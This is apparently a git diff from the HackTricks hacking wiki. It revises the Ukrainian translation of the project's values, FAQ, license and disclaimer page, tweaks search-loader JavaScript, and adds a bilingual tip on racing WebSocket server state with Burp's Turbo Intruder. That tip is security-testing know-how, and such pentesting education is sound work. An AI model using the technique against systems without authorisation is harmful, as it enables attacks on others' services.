- With Burps WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverside state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
- Використовуючи Burps WebSocket Turbo Intruder, ви можете застосувати рушій **THREADED** для створення кількох WS-з’єднань та одночасного відправлення payloads. Почніть з офіційного прикладу та налаштуйте `config()` (кількість потоків) для досягнення конкурентності; це часто надійніше, ніж відправка пакетів по одному з'єднанню при змаганні за стан на стороні сервера між WS-обробниками. Див. [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References

View File

@ -1,21 +1,21 @@
# Цінності HackTricks та FAQ
# Цінності HackTricks і FAQ
{{#include ../banners/hacktricks-training.md}}
## Цінності HackTricks
> [!TIP]
> Це **цінності проєкту HackTricks**:
> Ось **цінності проєкту HackTricks**:
>
> - Надавати **FREE** доступ до **EDUCATIONAL hacking** ресурсів для **ВСЬОГО** інтернету.
> - Hacking пов'язаний з навчанням, і навчання має бути якомога більш вільним.
> - Мета цієї книги — слугувати як всеохопний **освітній ресурс**.
> - **ЗБЕРІГАТИ** чудові **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **визнання**.
> - **Ми не прагнемо отримати чужі заслуги**, ми просто хочемо зберегти цікаві трюки для всіх.
> - Ми також пишемо **власні дослідження** в HackTricks.
> - У кількох випадках ми писатимемо **в HackTricks короткий виклад важливих частин** техніки і **закликатимемо читача перейти до оригінального поста** за деталями.
> - **ОРГАНІЗОВУВАТИ** всі hacking техніки в книзі, щоб це було **БІЛЬШ ДОСТУПНО**
> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **вчитися швидше**
> - Забезпечити **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ hacking** ресурсів для **ВСІХ** користувачів Інтернету.
> - Hacking — це про навчання, і навчання має бути якомога безкоштовним.
> - Метою цієї книги є служити як всебічний **освітній ресурс**.
> - **ЗБЕРІГАТИ** відмінні **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** все **визнання**.
> - **Ми не прагнемо чужого визнання**, ми просто хочемо зберігати круті трюки для всіх.
> - Ми також пишемо **наші власні дослідження** в HackTricks.
> - У деяких випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки та будемо **заохочувати читача відвідати оригінальний допис** для отримання детальнішої інформації.
> - **ОРГАНІЗОВУВАТИ** всі hacking техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНИМИ**
> - Команда HackTricks присвятила тисячі годин безкоштовно **тільки для організації контенту**, щоб люди могли **вчитися швидше**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -23,35 +23,35 @@
> [!TIP]
>
> - **Дякую за ці ресурси, як я можу вас підтримати?**
> - **Дуже дякую за ці ресурси, як я можу подякувати?**
Ви можете публічно подякувати командам HackTricks за збирання всіх цих ресурсів в твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Якщо ви особливо вдячні, ви також можете [**профінансувати проєкт тут**](https://github.com/sponsors/carlospolop).\
І не забудьте **поставити зірку в проектах на Github!** (Посилання нижче).
Ви можете публічно подякувати командам HackTricks за збирання всіх цих ресурсів, опублікувавши твіт із згадкою [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Якщо ви особливо вдячні, ви також можете [**підтримати проект тут**](https://github.com/sponsors/carlospolop).\
І не забудьте **поставити зірку у проектах на Github!** (Посилання нижче).
> [!TIP]
>
> - **Як я можу зробити внесок у проєкт?**
> - **Як я можу зробити внесок у проект?**
Ви можете **поділитися новими порадами та трюками зі спільнотою або виправити баги**, які знайдете в книгах, надіславши **Pull Request** на відповідні сторінки Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Не забудьте **поставити зірку в проектах на Github!**
Не забудьте **поставити зірку у проектах на Github!**
> [!TIP]
>
> - **Чи можу я копіювати частину контенту з HackTricks і публікувати в своєму блозі?**
> - **Чи можу я скопіювати частину контенту з HackTricks і розмістити її в своєму блозі?**
Так, можете, але **не забудьте вказати конкретні посилання**, звідки взято контент.
> [!TIP]
>
> - **Як мені цитувати сторінку з HackTricks?**
> - **Як цитувати сторінку HackTricks?**
Поки вказано посилання **на** сторінку(и), звідки ви взяли інформацію, цього достатньо.\
Якщо вам потрібен bibtex, ви можете використовувати щось на кшталт:
Достатньо вказати посилання на сторінку(и), звідки ви взяли інформацію.\
Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Can I copy all HackTricks in my blog?**
**Я б радше ні**. Це **не принесе користі нікому**, оскільки весь **контент вже публічно доступний** в офіційних книгах HackTricks безкоштовно.
**Я б радше ні**. Це **не принесе користі нікому**, оскільки весь **вміст уже публічно доступний** в офіційних книгах HackTricks безкоштовно.
Якщо ви боїтеся, що він зникне, просто fork it in Github або завантажте його, як я вже казав — він уже безкоштовний.
Якщо ви боїтеся, що це зникне, просто зробіть fork на Github або завантажте його, як я вже сказав — воно вже БЕЗКОШТОВНО.
> [!WARNING]
>
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **всього** світу. Команда HackTricks **присвятила тисячі годин**, щоб надати цей контент, знову ж таки, **БЕЗКОШТОВНО**.
Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з хакінгу **ВСЬОМУ** світу. Команда HackTricks **присвятила тисячі годин**, щоб надати цей вміст, знову ж таки — **БЕЗКОШТОВНО**.
Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ПОВНІСТЮ НЕПРАВІ**.
Якщо ви думаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦЕ ПОВНІСТЮ НЕПРАВДА**.
У нас є спонсори тому, що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **дати спільноті можливість оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям можливість зробити донат HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також відповідним cybersecurity компаніям спонсорувати HackTricks і розміщувати певну рекламу в книзі — реклама завжди розміщується в місцях, де вона **видима**, але **не заважає процесу навчання**, якщо хтось зосереджений на контенті.
Ми маємо спонсорів, тому що, навіть якщо весь вміст БЕЗКОШТОВНИЙ, ми хочемо **дати спільноті можливість оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** можуть спонсорувати HackTricks і розміщувати **оголошення** у книзі — ці **оголошення** завжди розміщуються так, щоб бути **помітними**, але **не заважати** процесу навчання, якщо хтось зосереджений на вмісті.
Ви не знайдете HackTricks, напханого дратівливою рекламою, як інші блоги з набагато меншим контентом, ніж HackTricks, тому що HackTricks не створено з комерційною метою.
Ви не знайдете HackTricks заповненим дратівливими оголошеннями, як інші блоги з набагато меншим вмістом, тому що HackTricks не створювався з комерційною метою.
> [!CAUTION]
>
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
**Нам дуже шкода. Це не повинно було статися**. Будь ласка, повідомте нам через Github issues, Twitter, Discord... посилання на сторінку HackTricks зі вмістом та посилання на ваш блог, і **ми перевіримо це і додамо якнайшвидше**.
**Нам дуже шкода. Такого не повинно було статися**. Будь ласка, повідомте нам через Github issues, Twitter, Discord... посилання на сторінку HackTricks з відповідним вмістом і посилання на ваш блог — **ми перевіримо це і додамо посилання ЯКНАЙШВИДШЕ**.
> [!CAUTION]
>
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
Зауважте, що наявність посилань на вашу сторінку в HackTricks:
- Поліпшує ваше **SEO**
- Контент **перекладається більш ніж на 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього матеріалу
- **HackTricks заохочує** людей **переглядати вашу сторінку** (кілька людей повідомляли нам, що з того часу, як якась їхня сторінка з'явилася в HackTricks, вони отримують більше відвідувачів)
- Покращує вашу **SEO**
- Вміст **перекладається більш ніж на 15 мов**, що дає змогу більшій кількості людей отримати доступ до цього матеріалу
- **HackTricks заохочує** людей **переглядати вашу сторінку** (декілька людей повідомляли нам, що з тих пір, як якась їхня сторінка з'явилася в HackTricks, вони отримали більше відвідувачів)
Однак, якщо ви все ще хочете, щоб контент вашого блогу був видалений з HackTricks, просто дайте нам знати і ми обов'язково **видалимо всі посилання на ваш блог**, а також будь-який контент, що базується на ньому.
Однак, якщо ви все ще хочете, щоб вміст вашого блогу був видалений з HackTricks, просто повідомте нам, і ми обов'язково **видалимо всі посилання на ваш блог** та будь-який вміст, що на ньому базується.
> [!CAUTION]
>
> - **What should I do if I find copy-pasted content in HackTricks?**
Ми завжди **надаємо оригінальним авторам всі належні кредити**. Якщо ви знайдете сторінку зі скопійованим контентом без посилання на оригінальне джерело, повідомте нам і ми або **видалимо його**, або **додамо посилання перед текстом**, або **перепишемо його, додавши посилання**.
Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку з копіпастою без посилання на джерело, повідомте нам, і ми або **видалимо її**, або **додамо посилання перед текстом**, або **перепишемо її, додавши посилання**.
## ЛІЦЕНЗІЯ
## LICENSE
Авторське право © Усі права захищені, якщо не вказано інше.
#### Короткий огляд ліцензії:
#### License Summary:
- Атрибуція: Вам дозволено:
- Поширювати — копіювати та перерозподіляти матеріал у будь-якому середовищі або форматі.
- Модифікувати — реміксувати, трансформувати та створювати похідні матеріали на основі цього матеріалу.
- Attribution: You are free to:
- Share — копіювати та поширювати матеріал у будь-якому середовищі чи форматі.
- Adapt — реміксувати, трансформувати та створювати похідні матеріали на основі матеріалу.
#### Додаткові умови:
#### Additional Terms:
- Third-Party Content: Деякі частини цього блогу/книги можуть містити матеріали з інших джерел, такі як витяги з інших блогів або видань. Використання такого контенту здійснюється відповідно до принципів fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для конкретної інформації про ліцензування матеріалів третіх сторін.
- Authorship: Оригінальний контент, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати авторство при поширенні або адаптації цієї роботи.
- Third-Party Content: Деякі частини цього блогу/книги можуть включати вміст з інших джерел, таких як витяги з інших блогів або публікацій. Використання такого вмісту здійснюється відповідно до принципів fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для отримання конкретної інформації про ліцензування стороннього вмісту.
- Authorship: Оригінальний вміст, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати авторство цієї роботи при її поширенні або адаптації.
#### Винятки:
#### Exemptions:
- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
- Commercial Use: Для запитів щодо комерційного використання цього вмісту, будь ласка, зв'яжіться зі мною.
Ця ліцензія не надає жодних прав на торгові марки або брендинг у зв'язку з контентом. Усі торгові марки та бренди, що фігурують у цьому блозі/книзі, належать їх відповідним власникам.
Ця ліцензія не надає жодних прав на торгові марки або бренд у зв'язку з вмістом. Усі торгові марки та бренди, що фігурують у цьому блозі/книзі, належать їх відповідним власникам.
**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
**Отримуючи доступ або використовуючи HackTricks, ви погоджуєтеся дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтеся з цими умовами, будь ласка, не заходьте на цей вебсайт.**
## **Відмова від відповідальності**
> [!CAUTION]
> Ця книга, 'HackTricks,' призначена виключно для освітніх та інформаційних цілей. Контент цієї книги надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи неявних, щодо повноти, точності, надійності, придатності чи доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яка довіра, яку ви покладаєте на таку інформацію, здійснюється виключно на ваш власний ризик.
> Ця книга, 'HackTricks', призначена виключно для освітніх та інформаційних цілей. Вміст цієї книги надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи імпліцитних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яка довіра, яку ви покладаєте на таку інформацію, здійснюється виключно на ваш страх і ризик.
>
> Автори та видавці у жодному випадку не нестимуть відповідальності за будь-які збитки чи втрати, включно, але не обмежуючись, непрямими або наступними збитками чи втратами, або будь-якими збитками чи втратами, що виникають у зв'язку з втратою даних або прибутків у результаті використання цієї книги.
> Автори та видавці жодним чином не несуть відповідальності за будь-які збитки або втрати, включаючи, без обмежень, побічні або наслідкові збитки, або будь-які збитки чи втрати, що виникають у зв'язку з втратою даних або прибутків у зв'язку з використанням цієї книги.
>
> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-якої незаконної або шкідливої діяльності. Автори та видавці не схвалюють і не підтримують будь-які незаконні або неетичні дії, і будь-яке використання інформації, що міститься в цій книзі, здійснюється на ваш власний ризик і за вашою власною відповідальністю.
> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх і інформаційних цілях і не повинні використовуватися для будь-яких незаконних або зловмисних дій. Автори та видавці не підтримують і не заохочують жодних незаконних або неетичних дій, і будь-яке використання інформації, що міститься в цій книзі, відбувається на власний ризик і розсуд користувача.
>
> Користувач несе повну відповідальність за будь-які дії, вчинені на основі інформації, що міститься в цій книзі, і повинен завжди звертатися за професійною порадою та допомогою при спробі реалізувати будь-які з описаних технік чи порад.
> Користувач несе повну відповідальність за будь-які дії, вжиті на підставі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою при спробі реалізувати будь-які з описаних технік або порад.
>
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, які можуть виникнути в результаті використання цієї книги або будь-якої інформації, що міститься в ній.
> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, які можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що в ній міститься.
{{#include ../banners/hacktricks-training.md}}

View File

@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();

View File

@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();